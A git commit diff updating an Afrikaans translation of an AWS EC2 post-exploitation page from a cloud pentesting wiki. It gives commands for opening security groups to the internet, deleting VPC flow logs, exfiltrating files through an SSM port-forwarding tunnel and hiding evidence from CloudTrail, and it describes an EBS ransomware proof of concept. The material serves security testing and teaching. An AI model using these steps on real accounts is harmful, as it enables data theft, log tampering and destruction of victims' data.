Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-08-18 14:53:32 +00:00
parent d146cc9b1f
commit cff44b80ed

View File

@@ -10,7 +10,7 @@ Vir meer inligting, kyk:
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### **Kwaadwillige VPC Spiegel -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC-verkeer spieëling **dubbel die inkomende en uitgaande verkeer vir EC2-instances binne 'n VPC** sonder die behoefte om enigiets op die instances self te installeer. Hierdie gedupliseerde verkeer sou gewoonlik na iets soos 'n netwerk indringing opsporingstelsel (IDS) gestuur word vir analise en monitering.\
'n Aanvaller kan dit misbruik om al die verkeer te vang en sensitiewe inligting daaruit te verkry:
@@ -21,9 +21,9 @@ Vir meer inligting, kyk hierdie bladsy:
aws-malicious-vpc-mirror.md
{{#endref}}
### Kopieer Loopende Instansie
### Copy Running Instance
Instansies bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 voorregverhoging truuks](../../aws-privilege-escalation/aws-ec2-privesc.md)). 'n Ander manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instansie (selfs in jou eie rekening) daarvan te laat loop**:
Instances bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). egter, 'n ander manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instance (selfs in jou eie rekening) daarvan te laat loop**:
```shell
# List instances
aws ec2 describe-images
@@ -70,7 +70,7 @@ Selfs as jy 'n EC2 sluit sodat geen verkeer kan uitgaan nie, kan dit steeds **ex
#### Exfiltration via API calls
'n Aanvaller kan API eindpunte van 'n rekening wat deur hom beheer word, aanroep. Cloudtrail sal hierdie oproepe opteken en die aanvaller sal in staat wees om die exfiltreer data in die Cloudtrail logs te sien.
'n Aanvaller kan API eindpunte van 'n rekening wat deur hom beheer word, aanroep. Cloudtrail sal hierdie oproepe opteken en die aanvaller sal in staat wees om die geexfiltreerde data in die Cloudtrail logs te sien.
### Open Security Group
@@ -79,13 +79,13 @@ Jy kan verdere toegang tot netwerkdienste verkry deur poorte soos volg te open:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc to ECS
### Privesc na ECS
Dit is moontlik om 'n EC2-instantie te draai en dit te registreer om gebruik te word om ECS-instanties te draai en dan die ECS-instanties se data te steel.
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
Vir [**meer inligting, kyk hier**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
### Remove VPC flow logs
### Verwyder VPC vloei logs
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
@@ -95,7 +95,7 @@ Vereiste toestemmings:
- `ssm:StartSession`
Benewens opdraguitvoering, laat SSM vir verkeers-tunneling wat misbruik kan word om te pivot van EC2-instanties wat nie netwerktoegang het nie as gevolg van Veiligheidsgroepe of NACLs. Een van die scenario's waar dit nuttig is, is om te pivot van 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS-kluster.
Benewens opdraguitvoering, laat SSM verkeerstunneling toe wat misbruik kan word om te pivot van EC2-instanties wat nie netwerktoegang het nie weens Sekuriteitsgroepe of NACLs. Een van die scenario's waar dit nuttig is, is om te pivot van 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS-kluster.
> Om 'n sessie te begin, moet jy die SessionManagerPlugin geïnstalleer hê: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -119,10 +119,51 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
Let wel dat die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag (of sy ekwivalent in K8s-auditgereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tunnel getonnel word, is jy veilig teen enige vorm van MitM-aanvalle.
Let daarop dat die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify` vlag (of sy ekwivalent in K8s audit gereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy veilig teen enige vorm van MitM-aanvalle.
Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-klusters nie. Jy kan arbitrêre domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-klusters nie. Jy kan arbitrêre domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
---
#### Vinige Plaaslike ↔️ Afgeleë Poort Voorwaarts (AWS-StartPortForwardingSession)
As jy net **een TCP-poort van die EC2-instantie na jou plaaslike gasheer** moet voorwaarts, kan jy die `AWS-StartPortForwardingSession` SSM-dokument gebruik (geen afgeleë gasheerparameter benodig):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
Die opdrag stel 'n bidireksionele tonnel tussen jou werkstasie (`localPortNumber`) en die geselekteerde poort (`portNumber`) op die instansie **sonder om enige inkomende Security-Group reëls te open**.
Gewone gebruiksgevalle:
* **Lêer eksfiltrasie**
1. Begin 'n vinnige HTTP-bediener op die instansie wat na die gids wys wat jy wil eksfiltreer:
```bash
python3 -m http.server 8000
```
2. Trek die lêers vanaf jou werkstasie deur die SSM-tonnel:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
* **Toegang tot interne webtoepassings (bv. Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
Tip: Komprimeer en enkripteer bewyse voordat jy dit uitbring sodat CloudTrail nie die duidelike teksinhoud log nie:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
```
### Deel AMI
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
@@ -231,7 +272,7 @@ Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel i
]
}
```
Die sleutelbeleid reël benodig die volgende geaktiveer om die vermoë te hê om dit te gebruik om 'n EBS volume te enkripteer:
Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om 'n EBS-volume te enkripteer:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -239,21 +280,21 @@ Die sleutelbeleid reël benodig die volgende geaktiveer om die vermoë te hê om
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2 instances het met nie-geënkripteerde EBS volumes aangeheg. Hierdie 'slagoffer' rekening se EBS volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS rekening.
Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instanties het met nie-geënkripteerde EBS-volumes aangeheg. Hierdie 'slagoffer' rekening se EBS-volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS-rekening.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS volumes te enkripteer, dan die oorspronklike EBS volumes van die EC2 instances af te haal en hulle te verwyder, en dan uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS volumes te skep, te verwyder. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instanties afkoppel en verwyder, en uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS-volumes te skep, verwyder. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Dit lei tot slegs geënkripteerde EBS volumes wat beskikbaar is in die rekening.
Dit lei tot slegs geënkripteerde EBS-volumes wat in die rekening beskikbaar is.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Dit is ook die moeite werd om te noem, die skrip het die EC2 instances gestop om die oorspronklike EBS volumes af te haal en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg.
Dit is ook die moeite werd om te noem dat die skrip die EC2-instanties gestop het om die oorspronklike EBS-volumes af te koppel en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyder die 'Buite Enkripsie' beleid reël uit die sleutelbeleid.
Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyder die 'Buitelandse Enkripsie' beleidreël uit die sleutelbeleid.
```json
{
"Version": "2012-10-17",
@@ -324,15 +365,15 @@ Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyde
]
}
```
Wag 'n oomblik vir die nuut ingestelde sleutelbeleid om te propagate. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg.
Wag 'n bietjie vir die nuut ingestelde sleutelbeleid om te versprei. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Maar wanneer jy probeer om die EC2 instansie weer op te start met die versleutelde EBS volume, sal dit net misluk en van die 'pending' toestand teruggaan na die 'stopped' toestand vir altyd, aangesien die aangehegte EBS volume nie ontsleut kan word met die sleutel nie, omdat die sleutelbeleid dit nie meer toelaat nie.
Maar wanneer jy probeer om die EC2 instansie weer op te start met die versleutelde EBS volume, sal dit net misluk en van die 'pending' toestand teruggaan na die 'stopped' toestand vir altyd, aangesien die aangehegte EBS volume nie met die sleutel ontsleut kan word nie, omdat die sleutelbeleid dit nie meer toelaat nie.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n 'slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening geheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, hulle verwyder, en uiteindelik al die snappings wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening laat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONKLIKE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand via snappings herstel, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is.
Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n 'slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening geheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, hulle verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening laat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL ALLE OORSPRONKLIKE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand via snapshots herstel, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is.
```
import boto3
import argparse
@@ -449,4 +490,8 @@ delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
```
## Verwysings
- [Pentest Partners Hoe om lêers in AWS te oordra met SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}